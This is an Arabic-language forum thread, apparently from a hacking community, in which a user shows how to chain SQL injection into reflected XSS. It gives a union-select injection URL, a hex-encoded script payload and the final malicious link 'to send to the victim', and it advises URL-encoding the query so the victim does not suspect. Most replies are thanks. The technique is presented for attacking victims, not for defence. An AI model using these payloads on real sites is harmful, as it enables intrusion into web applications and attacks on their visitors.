العلاقة ما بين SQL injection & XSS

JetLi · 08-03-2011, 02:46 PM

السلام عليكم ،
الجميع يعرف الحقن والثغرة الاخرىى ولكن هل يمكننا استغلال ثغرة الحقن لتوليد xss يمكن ذلك ولكن بعدة شروط ،

الشرط الاول :
- ظهور الاعمدة المصابة في الصفحة مثلا 1و2و3 ....
الشرط الثاني:
- دالة hex تكون غير محظورة لاننا سنتغلها لحقن كود الجافا،

نأتي للطريقة :
مثلا لديك رابط حقن في الموقع

كود:

http://www.site.com/index.php?id=-1+union+select+1--

نستبدل الرقم 1 الاخير بدالة hex
ونشفر الكود ***************('9');</script> بستخدام اي موقع تشفير او اضافة firefox المسماة hackbar

انا شفرتها لكم :

كود:

0x3c7363726970743e616c6572742839293b3c2f7363726970743e

يصبح رابط xss الذي سترسله للضحية بالشكل التالي

كود:

http://www.site.com/index.php?id=-1+union+select+hex(0x3c7363726970743e616c6572742839293b3c2f7363726970743e)--

طبعا يمكنك ان تعمل عملية url encode لتعليمات union +select الإخفائها حتى لا يشك الضحية ،
في الختام اختراق موفق ،
اذا عجبك الموضوع قيمني

المصدر: :: vBspiders Professional Network ::

hgughrm lh fdk SQL injection & XSS la;,v injection a;v a;vh sql sql injection xss

pirata · 08-04-2011, 12:11 AM

مشكور

bleu moon · 08-04-2011, 12:22 AM

هه حلو يا ايروون موضوع مميز من عضو اكثر من مميز هه

vpn_31 · 08-04-2011, 01:01 AM

مشكور ياحب عل شرح والتوضيح

ssmba · 08-04-2011, 07:22 PM

مشكور

SoLiTair4Ever · 08-04-2011, 07:27 PM

بارك الله فيك أخي
موضوع أكثر من الرائع

JetLi · 08-05-2011, 07:04 PM

وين التقييم ،؟؟؟ لا بأس هناك بعد الثغرات اصبحت مدموجة مع بعض ونوعا ما ثغرة xss اصبحت تطفو إلى السطح والاهتمام يزيد بها ولكن للأسف الثغرة المخزنة في قواعد البيانات افضل من الثغرة الانية ( ارسال رابط للضحية ) لان نسبة الاخيرة في الفشل هي اكبر